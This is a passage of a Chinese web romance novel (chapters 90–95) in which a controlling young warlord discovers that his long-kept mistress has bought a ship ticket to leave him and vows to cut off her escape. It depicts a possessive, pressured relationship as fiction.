《少帅又把老婆气跑了》 第90章 我不信她不低头 萧纵一愣，他让唐黎露面，的确是藏着别的心思，但他没想到自己还没来得及介绍，苏姚就已经有了反应。 他下意识追了上去，一把抓住了她的手腕，“大早上的，你去哪？” 苏姚被迫停下脚步，侧头看了他好一会儿，却什么都没说，只推开了他的手，随即再次转身，朝大门去了。 萧纵低骂了一声，转身回客厅，往副楼打了个电话，让人跟上苏姚。 他也不是上赶着担心苏姚，只是毕竟昨天刚和老宅撕破了脸，万一遭了报复呢？ 还得他浪费时间去救。 一点都不让人省心。 他又往门外看了一眼，苏姚的身影已经不见了，不多时，汽车也开了出去，他这才松了口气，思绪却有些飘，这局面算不算他的心思得逞了呢？ 应该算吧，至少苏姚的反应和见到秦芳年与徐丽华时截然不同。 唐黎果然是唐黎。 “什么时候结婚的？” 唐黎忽然开口。 萧纵被迫回神，目光仍旧看了一眼门外，那里已经没了苏姚的身影，他啧了一声，有些无奈，“小戏子而已，我怎么会和她结婚？” 唐黎皱了下眉头，很不喜欢他的语气，“你还是这么骄傲。” 萧纵一哂，“你也还是这么针对我。” “我早就告诉过你，骄傲的人会犯错。” “但我不会。” 萧纵语气十分笃定，唐黎摇了摇头，却没有反驳，只是擦了擦嘴，伴随着细微的金铁碰撞声，她慢慢站了起来，“我最近在做新的研究，需要很多东西，我列个单子给你。” 她一直是这种态度，不想理会他的时候，走得直接干脆。 萧纵也习惯了，“好，金锦，带她去休息。” 两人很快离开了餐厅，萧纵却仍旧靠在门口，看着外头空荡荡的庭院出神。 “少帅。” 金锦送了唐黎下来，迟疑着开口，“障眼法能瞒过去吗？盯着我们的眼睛太多了。” 萧纵点了根烟，姿态闲适，却莫名透着一股狂妄。 “怕什么？来了不是正好。” 他吐了烟圈，“我还在想，要不要加码。” 金锦怔了一下才反应过来，“您是想陪同唐小姐一起离开？” 如果萧纵出现，不管唐黎是真是假，一定会把所有人的注意力吸引过来，到时候对隐藏真正唐黎的行踪而言，会有极大的助益。 只是…… 她不自觉也看了眼门外，不知道为什么，她总觉得萧纵这法子，好像还藏着别的心思。 “您打算亲自去，还是找个人假扮？” 萧纵抽烟的手一顿，神情莫测起来，“那得看她的态度了……” 金锦忍不住在心里骂了一句，萧纵这法子果然是在刺激苏姚，她很无语—— “您就不怕玩脱了？” “你没看见她刚才的反应吗？” 萧纵笑了一声，“有反应就证明有用，这次给她个警告，想留在帅府，就别再给我耍脾气。” 金锦无言以对，索性退了下去，萧纵将军务挪到了家里处理，就坐在客厅等苏姚回来。 只是他没想到，这一等，竟然等到了天黑，在他等到焦躁的时候，萧翼才匆匆回来。 他的目光立刻看了过去，却又在下一瞬收了回来，垂眸继续去看手里的军报。 “少帅，” 萧翼走到他跟前敬了个礼，“属下回来了。” 萧纵这才像是刚注意到他，不咸不淡地问了一句，“没出事吧？” “没有，属下一开始没跟上苏小姐，后来找了一圈，才找到人。” 萧翼低声回答，神情却有些复杂，“是在海边找到的。” “她又去了海边？” 捏着军报的手一紧，正要问一句她又去做什么，门口就响起了高跟鞋的声音。 他抬头，果然瞧见苏姚进了门，在她身后，夕阳刚好落下了最后一抹余晖。 这是掐着时间回来的。 他眼神沉了沉，等了一天的恼怒和原本就积攒的火气涌上来，他将原本的询问压了下去，刻意提高了音调，不冷不热地嘲讽，“这种把戏，玩一两次还行，总玩的话，谁还有心情理她？” 话虽然是和萧翼说的，可他的目光却毫不避讳地看向了苏姚。 似是意识到了这说的是她，苏姚脚步微微一顿，抬眸看了过来。 萧翼神情尴尬又着急，“少帅，属下觉得苏小姐她……” “行了，”萧纵打断他，目光仍旧落在苏姚身上，“今天也耽误了你不少事情，去忙吧。” 萧翼叹了口气，他不觉得苏姚是故意去海边吓唬萧纵的。 可他不敢多说，怕自己的尴尬身份和龌龊心思，会给苏姚惹麻烦。 “是。” 他应了一声，躬身退了下去。 萧纵没有看他，目光始终看着苏姚，想看看她的反应。 然而对方却像是什么都没听见一样，转身就往楼上走。 他一愣，这是什么意思？怎么和自己设想的不一样？ “站住。” 他按捺不住开了口，苏姚知道说的是她，在楼梯上停了下来，“少帅有事吗？” 萧纵沉着脸打量她，心里很憋闷，早上反应明明那么大的，怎么现在又恢复了这副爱答不理的样子？ 他起身走了过来，还是问出了口，“你去海边干什么了？” 苏姚下意识捏紧了手包，她今天不止去了海边，还去了车站，只是陆路不太平，所以最后她还是选择了坐船走，并且已经买了票，但她并不想告诉萧纵。 “就是随便走走。” “哪里不能走？非要去海边？” 萧纵目光里都是审视，对这个答案很不满意。 苏姚不知道他在抽什么风，她去哪里不去哪里，萧纵什么时候过问过？怎么偏偏今天要问？ 故意找茬吗？ 但她仍旧敷衍了一句，“海边风景好。” 萧纵想起了她第一次去海边的情形，心脏紧了一下，那种情况下，她说只是觉得海边风景好？ 可他并没有反问，在苏姚认错之前，他绝对不会再哄她。 所以他只是沉了脸，“你走那么远，是还想被绑一次吗？你知不知道我很忙？” 想起被绑架的恐惧，苏姚身体微微一颤，又有些想笑，如果不是萧纵，她会被绑架吗？ 他怎么好意思来责怪自己的？ 可她没有辩解，只觉得庆幸，还好，还好她今天买了票。 “那我最近不出门了。” 她答应一声，颔首道别，再次转身上了楼。 萧纵的脸色变得十分难看，苏姚这是打算和他死扛到底了。 到底是谁给她的底气？ 好，很好。 他磨了磨牙，苏姚这是非要逼他亲自去给唐黎做诱饵啊。 好，我如你的愿，到时候别哭着来找我。 他沉声开口，“管家，给我收拾一下东西，我要陪唐黎出去住一阵子。” 第91章 笔记本 这天晚上，帅府被闹得人仰马翻，为了给萧纵收拾东西，管家带着佣人忙得团团转。 “少爷，” 管家有些无奈，“茶具也要带吗？” 萧纵翘着腿坐在客厅里，“都带上。” 管家叹了口气，这架势不像是要出去住几天，倒像是要搬家。 外头的动静很快惊扰了苏姚，她打开门看了一眼，很快就从忙碌的佣人口中得知了事情的原委，心里有些惊讶。 她本来以为，萧纵会让唐黎住进来的。 但很快又想明白了，唐黎和她们这些人不一样，没名没分的不可能就住进男人家里来，对名声不好。 但萧纵搬出去更好，一想到离开之前都不会再见到他，苏姚就有种想出去帮忙的冲动。 只是刚一动作，小腿就一阵刺痛。 腿疾又发作了。 最近腿疾发作得很频繁，但有一个好处，就是一直是在夜里发作，不至于让她白天那么狼狈。 虽然折磨得她生不如死，可心里竟然还是有些庆幸的。 她缩回被子里，在床头柜里摸出药来，克制着吃了四颗，效果有些差，可她不敢多吃，只好将笔记本拿出来，紧紧抱在怀里。 想着里头夹着的车票，和代表着的未来，她咬紧牙关，生生挨了下来。 等疼痛退下去的时候，天边已经泛起了鱼肚白，外头仍旧在忙碌，一宿了，竟然还没收拾好。 她叹了口气，被吵得实在是睡不着，索性起床去了厨房。 萧纵马上就要搬出去了，她心里高兴，总得做点什么庆祝……也算是为萧纵践行吧。 她系了个围裙，开始做早餐，等关火的时候，却发现萧纵不知道什么时候下来了，就靠在厨房门口看着她。 苏姚手一顿，随即笑起来，“少帅，早。” 人都要走了，说不定这是他们的最后一面，很多事情她也不想计较了。 可这看在萧纵眼里，却理解成了另一个意思—— 他就知道唐黎一出现，苏姚一定会妥协。 这不就来做早餐了？ 没记错的话，苏姚可是很久都没下厨了。 而且，他昨天晚上就注意到了苏姚开门偷看楼下的动静，只是并没有戳穿。 他也不再拿乔，抬脚走了进来，抓着她的手看了一眼，之前被门夹得太厉害，现在那手上还有一片青痕，这伤倒是好办，可另一只手上的牙印，却可能会留疤。 但他也没那么嫌弃，慢慢养着吧，帅府什么药没有？迟早能给她养好的。 “手还这幅样子就下厨，是府里养不起厨子了吗？” 他开口，本意是想让苏姚先照顾好自己，可这两天习惯了冷嘲热讽，一开口就没能忍住。 他不自在地看了苏姚一眼，有点担心两人刚缓和的关系又紧绷起来。 但苏姚并没有在意，应了一声，将早餐端去了餐厅。 有些日子没见到苏姚的好脾气，萧纵竟然怔了一下才回神。 虽然以往苏姚对他的话也都是百依百顺的，但那个答应，和现在的答应，给人的感觉不一样。 他虽然不怎么关注别人的情绪，但仍旧能清晰地分辨出来。 他心里松了口气，又隐约觉得哪里不对劲。 但随着他进了餐厅，那股感觉就被压了下去。 “早餐做这么丰盛？” 他挑了下眉，话里带了惊讶。 他衣食住行一向都是好的，但也不会太过铺张浪费，够吃够用就好，可今天的餐桌上，却摆满了碗碟，冷不丁一瞧，活像是满汉全席。 “都是少帅和茵茵喜欢的。” 苏姚解释了一句，又开口，“我不太清楚唐小姐喜欢什么，所以按照海城人的口味，又多做了几样。” 萧纵嘴角一翘，真难得，苏姚的示好都已经做到这个地步了。 “唐黎不吃。” 毕竟人昨天晚上就已经转移了，想吃也吃不了，但他不打算现在就告诉苏姚。 再等一等，看看她待会的表现吧。 如果她足够有诚意，今天搬出去的人，就会换成穿着他衣裳的于修明。 他拉着苏姚坐下，给她夹了个蟹黄包，“做这么丰盛，是不是有什么话要和我说？” 他示意苏姚可以开口了，但苏姚的目光却只看向门外，“茵茵还没下来呢。” “她嫌吵，半夜就走了，说要去住客栈。” 苏姚有些失望，但一想到萧纵很快就要走，她心里又高兴起来，也给萧纵夹了块萝卜糕，“少帅尝尝我的手艺吧，有些日子没下厨，不知道有没有退步。” 苏姚以往的手艺其实不算好，也就是能吃的程度，是后来进了帅府，为了能留住萧纵才苦练了厨艺。 萧纵显然也想起了这件往事，心神微微一动。 当年知道的时候，他其实只觉得苏姚无聊，他想吃美食，难道不会去聘厨子吗？苏姚做得再好能比得过专业的厨子？ 可现在感觉却不一样了，人一旦动了心，对方的一点小事都会被无限放大，以至于他现在都暂时打消了追问的念头，只想和她安安静静地吃完这顿早饭。 他们好像也很久没有这么平和地一起进餐了。 他压下了心里的念头，低头去吃萝卜糕，难得称赞了苏姚几句，“味道不错，比厨师都做得好。” 苏姚没当真，只以为他是要和唐黎一起搬出去，所以心情也好，笑一笑便作罢，又给他盛了碗汤，盼着他能赶紧吃饱，赶紧走人。 可事不从人愿，于修明快步走了进来，“少帅，属下有要事禀报。” 苏姚心下一叹，很识趣地走了。 萧纵也有些失望，他还想看苏姚打算怎么继续讨好他呢。 但正事要紧。 他极快地处理好事情，将于修明遣了出去，苏姚却迟迟没有回来。 他有些等不及，索性起身去找，他几乎是下意识地上了楼，可门一推开，苏姚却并不在。 “去哪了？” 他有些纳闷，转身要下楼，眼角余光却瞥见苏姚枕头上放着个笔记本。 心里忽然生了点好奇，苏姚这样字都没认全的人，会写什么呢？ 第92章 她要走 他顺势坐在了苏姚床上，翻开了那本笔记本。 里头却并没有写任何东西，只是贴满了剪下来的报道，还都是地理报道。 他一一看过去，心里有些惊奇，他不知道苏姚竟然会喜欢这种类型的文章，因为这些内容，在他看来都有些枯燥无味，根本不像是苏姚这种书都没读多少的人会喜欢的。 可这每一份都剪贴得十分用心，而且看样子，应该被看过很多次。 苏姚是真的喜欢。 他忽然想起之前送她珠宝，苏姚不肯要的事情来，当时只以为她是在闹脾气，现在看来，可能也是被养出了新的追求。 下次如果有轻省些的军务，不妨带着她出去走走。 但还是要看苏姚今天的表现，要是能哄得他高兴，带她出门的事情他就不要报酬了…… 找人的念头又涌了上来，他合上笔记本就打算走，一张薄薄的纸却从书页夹缝里飘了出来。 他没太在意，弯腰捡了起来，正要夹回笔记本里，却在看清楚那张纸是什么的时候，动作僵住了。 船票。 那竟然是一张船票。 他愣在原地，一时竟有些回不过神来。 苏姚，船票…… 这两个词在他脑海里翻来覆去地盘桓，其实意思十分明显，他却琢磨了好一会儿才明白过来——苏姚这是打算走。 他养了那么久的人，竟然一声不响地打算走。 他控制不住地笑了一声，满心的荒谬和嘲讽，这不可能。 但凡苏姚没疯，就该知道，离开自己，她根本不可能活得更好。 这么多年，她唱戏的本事早就退步了，想登台并不容易，而且外头到处都在打仗，到处都在死人，她选择离开，和找死没有区别。 最重要的一点，由俭入奢易，由奢入俭难，苏姚过惯了富贵日子，怎么可能受得了为一日三餐奔波的苦日子？ 她不可能想走。 所以这张票应该是假的。 他抬手就撕了，可在刺耳的撕裂声里，他又想起了那个笔记本。 地理报道，船票…… 这两样东西的联系那么紧密，让他撕船票的动作不自觉僵住。 一个字都认不全的人，忽然对地理报道那么喜欢…… 他心头乱跳，目光陡然转向了梳妆台，人如果想走，不可能没有痕迹，只要看看她的东西还在不在，就能确定她是不是真的有离开的心思了。 他大步走了过去，拽了下抽屉，但抽屉上锁了。 这是他自己答应的。 苏姚唯一能上锁的地方，就是这个梳妆台，那时候苏姚刚进府没多久，对他的心思还不算明显，一门心思的要钱要东西，每次出门回来，都要打开抽屉检查一下她的珠宝首饰有没有少。 而每次打开抽屉时，她的眼睛都会亮一下，那副财迷样子其实有些可爱，但萧纵当时只觉得她莫名其妙，还骂了她一句小家子气，这么点东西也值得这么疑神疑鬼地看着。 但苏姚不觉得羞耻，她的贪财和虚荣从来都坦坦荡荡，撒娇耍赖非要给抽屉上锁。 萧纵疑心重，当时虽然答应了，存的确实欲擒故纵的心思，私下里让人配了钥匙，偷偷查过很多次，可几年下来，里头真的什么异常都没有，他才前两年彻底不再理会。 但抽屉的钥匙还是留了下来。 可他却并没有要等钥匙的意思，一拳就将锁砸坏了。 抽屉被拉开，平常被珠宝填满的空间，此时几乎全空了，只剩了一副坠子孤零零地呆在盒子里。 他动作再次僵住。 如果珠宝还在，他就可以确定苏姚是在吓唬他，就像自己说要搬出去住一样，可他没想到，竟然会看见一个空荡荡的抽屉。 那么多的珠宝，去哪了？ 不详的预感疯狂涌动，他捏拳又砸开了其他的抽屉，里头却更加凄惨，连幅坠子都没有。 苏姚那满满当当的梳妆台，不知道什么时候，竟然空了。 心脏一阵乱跳，可他的思绪却无比清晰，以苏姚的爱财程度，珠宝但凡丢了一件，她都得大吵大闹，更别说这么多都丢了。 所以只有一个可能——是她自己把珠宝带走的。 她这是，真的想走？ 念头冒出来的瞬间，萧纵的指尖控制不住地颤了一下。 “少爷，怎么了？” 管家敲了敲门，但门并没有关，所以他敲门的时候，头已经探了进来，“您在干什么？” 这是被萧纵砸抽屉的动作惊动了。 萧纵却根本顾不上理会他，他不愿意苏姚竟然真的打算走。 她是疯了吗？ 明明前不久才被游行的学生连累，险些被抓去坐牢，现在竟然想离开？ 不可能，苏姚那么怕死，又贪图享乐，绝对不可能这么做。 她一定是把珠宝换地方了。 他起身去翻房间里的柜子橱子，不管是衣柜鞋柜还是床头的矮柜，他一个都没放过，甚至连苏姚的衣裳都被他一路摸了过去。 可什么都没有。 管家有些担心，“少爷，您找什么呢？不如喊苏姚上来找吧？她的房间她更了解……” 萧纵充耳不闻，他不死心地弯腰去床底下摸索，随即眼睛猛地亮了起来。 “找到了。” 他将床底下的东西拖了出来，那是一个箱子，不算大，也没有上锁，轻轻一摁就开了。 萧纵的心脏却猛地一沉，刚才的欢喜荡然无存。 这么小的箱子，不可能放得下苏姚所有的珠宝。 箱子打开，洋钞和大洋映入眼帘，更多的是一排排的药瓶。 虽然刚才就有了心里准备，可在看见里面真的不是自己要找的东西之后，萧纵的心，还是又往深处坠了坠。 珠宝真的都不见了，只剩了这些东西。 他垂眸看着箱子里的钱，这些粗粗一数，也有几千块了，不可能是苏姚平时的零用攒下来的。 就算六年下来该有这个数，可她还要接济余庆班。 而且，还有这些药，这么多瓶也需要不少钱。 他将药瓶拿起来，就是那天在学校门口苏姚吃过的止疼药。 当时他不明白苏姚为什么要吃，现在更不明白，她为什么要存这么多。 但另一件事却已经十分清楚了，苏姚，是真的打算走了。 第93章 一定是误会 萧纵看着手里的药，迟迟没能回神。 苏姚，要走。 这四个字，对他而言，是从来没有设想过的事情。 就在刚才，他还以为要和苏姚和好了。 明明半小时之前，苏姚还给他准备了那么丰盛的早餐，要和他和好的，怎么就成了要走了呢？ 他明明以为他们还有很多时间的，怎么就要走了呢？ 他难以接受，木雕似的站在原地，许久都不曾动弹一下。 管家有些担心：“少爷，您怎么了？” 萧纵仿若未闻，一声未应。 犹豫片刻，管家再次开口，“您是找到想找的东西了吗？要不要老奴帮忙？” 萧纵仍旧没说话，身体却控制不住地战栗了起来。 察觉到他的情绪不对劲，管家上前一步，等看清楚箱子里的东西，他满脸惊讶，“这是苏姚的箱子吗？她怎么存了这么多药？还有这么多钱。” “……不是很明显吗？” 萧纵终于开口，声音又颤又哑，指尖却死死捏住了手里的药瓶，极力想要维持冷静，“她想走呢。” 管家一愣，大约是这个答案对他而言也太过出乎意料，竟让他也怔愣了一瞬，回神后他下意识摇头，“怎么可能？帅府的日子这么好，她又不是疯了，离开干什么？” 是啊，又不是疯了，为什么要离开？ 萧纵也不明白，他死死攥着拳，手中的塑料药瓶不知道何时已经变了形，可丝毫没有纾解他心里的窒息感。 苏姚在想什么？ 她初次登台之后就被自己带了回来，那时候她才十五岁，除了唱戏什么都不会，是他给了她现在所有的一切，她的喜好，她的脾性，她的吃穿用度，哪样没有他的痕迹？哪样不是他塑造出来的？ 明明是完全依托于自己存在的一个人，竟然想要离开？ 她凭什么离开？ 她也不想想，离开了自己，她要怎么生活，就靠这点钱？ 够她买个包吗？够她一件首饰吗？ 太可笑了。 他要去问问她，脑子里在想什么。 她最好告诉自己，这一切都是个误会，不然…… 他起身下楼，管家本想扶他一把，却根本没跟上他的动作，等他转身的时候，萧纵甚至已经到了楼下。 “苏姚呢？” 很快，楼下就响起了男人极力克制的声音，可那细微发颤的声音，以及周遭不知道什么时候低沉下来的气压，都泄露了他的心情。 佣人们根本不敢靠近，隔着很远就纷纷摇头。 “不知道，不会去找吗？还要我教你们吗？” 萧纵低声开口，声音颤得更厉害，却不全然是愤怒。 佣人们不敢探究他的心情，闻言逃也似的四散开来。 萧翼进门恰好看见了这一幕，心头一跳，虽然还没问发生了什么，却直觉和苏姚有关。 “少帅，总统派了人来……” 他下意识开口，想转移萧纵的注意力。 “闭嘴。” 萧纵声音低哑，“别来烦我。” 萧翼嘴边的话被噎了下去，他站在门边，一时不知道该怎么反应，萧纵素来是以正事为重，这还是头一回这种态度。 可越是这样，他越不敢放纵，他试图再次开口，佣人却匆忙跑了过来，“少帅，苏小姐在凉亭。” 萧纵立刻迈开长腿，大步朝门外走去。 萧翼下意识跟上，面前的人头都没回，只抬了抬手，意思却很明显，别跟过来。 萧翼被迫停在了原地，只能透过厨房的窗户，往外头看了一眼。 苏姚果然在凉亭里。 海城的五月，哪怕刚刚早上九点钟，日头也已经开始炽烈了，她却浑然不觉，就靠在柱子上，微微仰着头，静静沐浴着阳光。 萧纵的脚步下意识顿住，被眼前这幅画面晃了神。 他不记得苏姚什么时候开始喜欢晒太阳的，但每次她来凉亭，似乎都会变得很陌生，就像是现在。 他明明记得苏姚贪财，虚荣，热衷装扮，可现在的她，身上竟然没找到半分以往的痕迹，好像他们从未见过，从未认识。 陌生的，几乎让人不敢碰触。 刚才质问的急切忽然就散了，萧纵站在原地，竟莫名想起了以往。 他想起了苏姚在阳台上烧的那些衣裳；想起了她再也不肯拨出去的电话；也想起了她床头的那盏台灯…… 好像，苏姚的想走，也不是全无理由。 他站在原地，迟迟没能靠近。 可他从来都是个有侵略性的人，哪怕不声不响，苏姚也很快就察觉到了他的存在，睁眼看了过来：“少帅忙完了？” 她坐直身体，想要站起来。 萧纵大步走了过去，抬手摁住了她的肩膀，然后贴着她坐了下来。 他要和苏姚好好谈谈。 他缓缓吐了口气，手已经下意识抓住了苏姚的手腕。 掌心的手腕挣了一下，萧纵神情一凛，猛地收紧了五指，眼神也凌厉了起来，可下一瞬，他就发现苏姚的手腕被自己攥红了。 他这个常年行走行伍的人，一拳就能打断人的肋骨，刚才情急之下，险些捏断了苏姚的手腕。 “没事吧？” 他连忙给苏姚揉了揉，眼底有些懊恼，他没想弄伤苏姚，他脾气不好，但也从来没和苏姚动过手。 “没事。” 苏姚笑了笑，看着并不在意受的这点伤，心情反而古怪得很好。 萧纵看着她的脸，压得人几乎喘不上气来的心情也跟着缓和了几分。 或许，真的如他所想，一切都只是个误会。 他不能太紧张，不能太急切。 他深吸一口气，琢磨着怎么不着痕迹地提起船票。 可还不等他开口，苏姚先问了起来，“少帅的东西都收拾好了吗？需要我帮忙吗？” 她脸上还噙着笑，眼睛亮晶晶的，仍旧是早上那副心情极好的样子。 萧纵却仿佛被雷劈了一样，心情陡然沉到了谷底。 他终于明白过来，苏姚的高兴是因为什么了。 第94章 我会堵死你所有离开的路 他看着面前的人，嘴唇几次开合，都没能说出话来。 “少帅？” 苏姚有些茫然，是她的错觉吗？怎么觉得萧纵有些奇怪。 “你是不是哪里不舒服？需要叫医生吗？” 她说着抬手，来摸萧纵的额头。 手腕却再次被抓住，这次萧纵的力道刚刚好，没有弄疼她，却也让她挣脱不开分毫。 “苏姚。” 萧纵终于开口，“你很盼着我走吗？” 苏姚微微一愣，不太明白他怎么会忽然察觉到了自己的心思，却顾不上多想，立刻摇头。 “怎么会呢？我当然希望少帅能和我住在一起。” 她睁大了眼睛，态度看起来十分诚恳，可萧纵那只没抓住她的手却攥了起来，还越攥越紧，手背上青筋都凸了起来。 苏姚在撒谎。 他一向是个干脆的人，也极相信自己的判断，可这一刻，他却无比希望是自己的判断出了问题。 再试探一次，再试探一次吧…… “……是吗？” 他深吸一口气，压下胸腔里翻涌的情绪，目光盯着苏姚的眼睛，缓缓开口，“那我就不搬走了，让于修明换了我的衣裳，替我去。” 苏姚指尖一蜷，眼底速度极快地闪过一丝失望，随即笑开，“真的吗？那真是太好了。” 萧纵合了下眼睛，刚才苏姚的反应的确很快，若不是他一直盯着，一定会错过那丝失望。 可他还是看见了。 苏姚真的在撒谎。 他忽然想起来，这不是苏姚第一次撒谎了，好像很久之前，她就学会用这种表演来敷衍自己了。 比如他带秦芳年回来的那天，比如他说去南风雅舍的时候。 那她昨天见到唐黎的反应，也是在演戏吗？ 是了，她都巴不得自己搬出去了，又怎么会真的在乎他身边都有什么人。 所以，也已经没必要再问了，苏姚的想走不存在任何误会，她是发自内心的，想要离开帅府，离开他。 可是，苏姚，你是不是弄错了什么？ 你凭什么觉得，你有离开的资格？ 他眼神已经彻底变了，动作却十分轻柔地抬手抚摸上了苏姚的脸颊—— 从你进帅府的那天起，你就是我的了，只有我开口，你才能走，若我不肯，不管你多想走，这辈子也只能留在我身边。 他心里一片惊涛骇浪，情绪汹涌得几乎要将人淹没，可面上他却丝毫不显，甚至还古怪地维持着方才的柔和。 只有抓着苏姚的那只手，骨节一片森白。 “可是，” 苏姚开口，大约是萧纵将情绪掩藏得太好，她并没有察觉到不对劲，脸上甚至还带上了几分担忧，“可是，唐小姐要怎么办呢？我听说很多人都在关注她，我不是诅咒她，但是万一……” “放心，” 萧纵哑声开口，他知道苏姚这话是故意的，可他没有拆穿，苏姚既然要和他玩心眼，他也不妨奉陪，“如今和我在一起的人是你，我当然要优先顾及你的感受。” 他抚上苏姚的后颈，拢着她往自己的肩头上靠，苏姚的身体僵硬了一瞬，似是在抗拒，虽然她很快就反应过来，顺从地贴了过来，可那细小的动作，仍旧被萧纵察觉到了。 指节咔吧响了一声，眼底隐约泛出血色，可他仍旧没有流露出异样。 他不打算和苏姚撕破脸，有些事情，只要不挑到明面上来说，就还有转机。 “我们好些日子没亲近了吧？” 他低声开口，动作明明很暧昧，眼底却一片冷清。 然后他清楚地感觉到怀里的身体僵了一下，但苏姚没有拒绝。 她似乎也没完全忘记自己的身份，仍旧清楚拒绝他的下场。 可她却仍旧想着，偷偷离开海城，离开自己。 苏姚，你真是，太不乖了。 他弯腰将人抱起来，却没有回房间，反而绕过花园往后院的停车场去了。 苏姚抱着他脖子的手骤然一紧，语气里染上了抗拒，“少帅，这还是大白天，我们……” “你声音大一点，就没人敢过来。” 萧纵掂了掂她，话里还带着调笑，可谁都清楚，他已经做了决定，就容不得旁人拒绝。 苏姚显然也了解萧纵，嘴唇几次开合，最后却什么都没说。 算了，反正也不是第一次在车里折腾了，不过就是被人戳着脊梁骨骂几句狐狸精而已。 她沉默地坐进了车厢里。 其实萧纵的车很宽敞，是特意定制的，但对于两个成年人来说，尤其是动作中的成年人来说，还是有些狭窄。 不多时车身就控制不住地晃动了起来，哪怕苏姚还要脸，没有如同萧纵所说喊的大声点，还刻意控制了音量，可这动静太过明显，警卫们还是知道发生了什么。 职责所在，他们不敢走，只能背转过身去，被迫听了一出活春宫。 只是随着时间推移，他们的神情也麻木了起来，谁都没想到，萧纵会一直折腾到下午，别说苏姚了，连车子都仿佛要散架了。 苏姚有气无力地看了男人一眼，本来想强撑着回房间的，可头一歪就睡了过去。 萧纵将撕碎的旗袍一扔，拿自己的军装将苏姚盖住，将她的头小心翼翼地放在自己大腿上，又理了理她汗湿的发丝，垂眸盯着她看了许久，才开了车窗，给自己点了个根烟。 “来人。” 他不高不低地喊了一声，声音里却没有半分情事过后的慵懒和满足，反而一片冷沉。 警卫不敢耽误，立刻跑了过来，却看都不敢看车厢。 “去喊管家过来，给她带套衣裳。” 警卫应了一声，仍旧不敢侧头，快步跑走了。 不多时，管家就带着衣裳过来了，大约是已经听说了刚才发生的事，他的脸色有些古怪，但毕竟不是头一回了，所以他只是叹了口气，沉默地将衣裳递了过来。 萧纵随手接过来，扔在了副驾驶，他没看苏姚，自顾自开口，修长的手指却仍旧在梳理她的发丝——“去把她的房间恢复原样，要一模一样。” 管家应了一声，转身要退下，萧纵却又喊住了他，“那个箱子，送去我房里。” 管家有些意外，却什么都没问，躬身退了下去。 等管家走远，萧纵才再次垂下眸子。 他捏灭烟，低头在苏姚额间亲了亲，语气一片缱绻，说的话却让人不寒而栗：“苏姚，放心吧，我会堵死你所有离开的路。” 第95章 我们的时间，很长 等苏姚醒过来的时候，天已经黑了。 睁开眼睛的瞬间，她慌乱了一瞬，可下一秒，车里的灯就被打开了。 恐惧还没来得及涌上来，就已经消散驱散了，她却仍旧愣了一瞬才回神，这才看见萧纵就在自己身边。 她惊讶地坐了起来，却忘了自己还在车里，朝着车底就滚了下去。 一只手及时伸过来，捞住了她的腰，将她重新抱回了座椅上，盖在身上的衣服却不留神落了地。 萧纵眼神一暗，指尖无意识地在她腰侧摩挲，“下次再这么干，我就当你在勾引我。” 苏姚拽开他的手，这才后知后觉地反应过来，自己没穿衣裳，她连忙捡起车底的衣裳遮了遮，萧纵却笑得越发淫荡。 她这才看见，自己抓着的正是男人的军装。 她瞪了对方一眼，将军装扔在了他头上。 她清楚，这时候男人心情好，会允许，或者说，喜欢她耍一些小性子。 耳边果然传来了男人的低笑声，隔着衣服有些闷，但十分纵容地没有将衣裳拿下来。 苏姚被他笑得脸色涨红，连忙加快动作将副驾驶上的衣服拿了过来，往自己身上套。 大约是听见了动静，萧纵这才将盖在头上的军装拽下来，盯着她系扣子。 “别看了。” 苏姚被看得指尖发麻，恍惚间有种他会扑过来咬自己一口的错觉，连忙打开车门从另一侧下了地。 整个帅府灯火通明，连后院和花园的灯也都打开了。 目之所及，一片璀璨。 她动作微微一顿，有些惊讶地停下了的动作。 修长的手指探过来，替她将旗袍的扣子系好，粗糙的指腹慢慢捏住她的下巴，将她的脸颊一转，面向了自己：“看什么呢？” 苏姚的眼睛仍旧控制不住地看了眼花园，随后才仰头看他，本想问问他今天是什么日子，为什么帅府要开这么多灯，可话到嘴边又咽了下去。 管那么多做什么？ 反正和她也没什么关系。 肚子咕噜叫了一声，她抬手揉了揉，“几点了？茵茵下学了吗？” 萧纵眼神沉了沉，只知道问萧茵。 其实他早就意识到了苏姚很久都没过问过他的事情了，但当时总觉得时间还很多，不着急，什么都可以慢慢来。 哪能想到，苏姚不声不响的，竟然准备着要走了呢？ 还好，还好他发现了。 他们之间，还是会如他所说的，时间还很长。 “回来了，”他淡淡开口，遮掩下了所有情绪，“进去吧。” 苏姚抬脚就走，萧纵却又追了上去，掐着她的腰把人夹了起来，“鞋都没穿，脚不要了？” 苏姚回头看了他一眼，眼神很无奈，她没顾得上穿鞋，还不是因为萧纵一直看她。 “我找找。” 她探手要去开车门，却被抱着越走越远，“待会让人找吧，反正车也得洗。” 一想到那场面，苏姚的脸就控制不住地红了起来，萧纵看不见她的脸，却隔着衣服，清楚地感觉到了她的体温在升高。 指尖无意识地在苏姚腰上摩挲了两下，随即手背就被握住了，苏姚扭头看着他，眼底带了点控诉。 萧纵笑起来，被这眼神勾得心头发痒，但什么都没做，今天的确闹腾的有点久。 要细水长流。 他垂眸看着苏姚，压下了眼底那野兽般的侵略性，大步进了主楼。 见两人回来，女佣连忙拿了脱鞋过来，苏姚趿着鞋四处张望，瞧见萧茵正在客厅里写功课，眼睛亮了一下，却没有靠近，只侧头看了眼萧纵。 萧纵还没来得及回应，萧茵就小嘴一撅，抱着书上楼了。 苏姚一愣，有些失望。 萧茵还在和她生气吗？ 事情都过去这么久了，怎么还不肯和她说话呢？ 她心里有些不是滋味，但很快就顾不上了，因为熟悉的痛楚又涌了上来，她身体一晃，险些栽倒，被身边的人扶了一把才站稳。 “刚才我是不是太善解人意了？” 萧纵压低的声音响起来，带着点调笑，显然误会了苏姚的投怀送抱。 苏姚却没了心力解释，她挣开男人的手，咬牙往楼上走，“我还有点累，想再去睡一觉。” 她死死抓着栏杆，一步一步往楼上挪，唯恐一个没抓稳，自己就会从楼梯上滚下去。 萧纵脸色一沉，“怎么，用完就扔，连饭都不想和我一起吃？” 这话有些冲，苏姚不知道他在发什么邪火，却不敢无视，只能转身，强撑着开口：“少帅说什么？” 萧纵却又收敛了神情，他没必要为了这种小事和苏姚争吵。 反正苏姚现在没钱也没路，想走也走不了，闹点小脾气无关紧要。 反正，也翻不了天。 “没什么，看你好像很累，我送你上去。” 他重新将人抱起来，送她上了楼。 苏姚觉得今天的萧纵很不对劲，明明对唐黎那么看重，却忽然就不搬走了，情绪还变得这么快…… 她心里有些不安，隐约觉得好像要发生什么十分糟糕的事情。 可剧痛却让她头脑混沌，根本无力思考，只能暂时将那股直觉压下去，抬手抱住了萧纵的脖子。 “谢谢。” 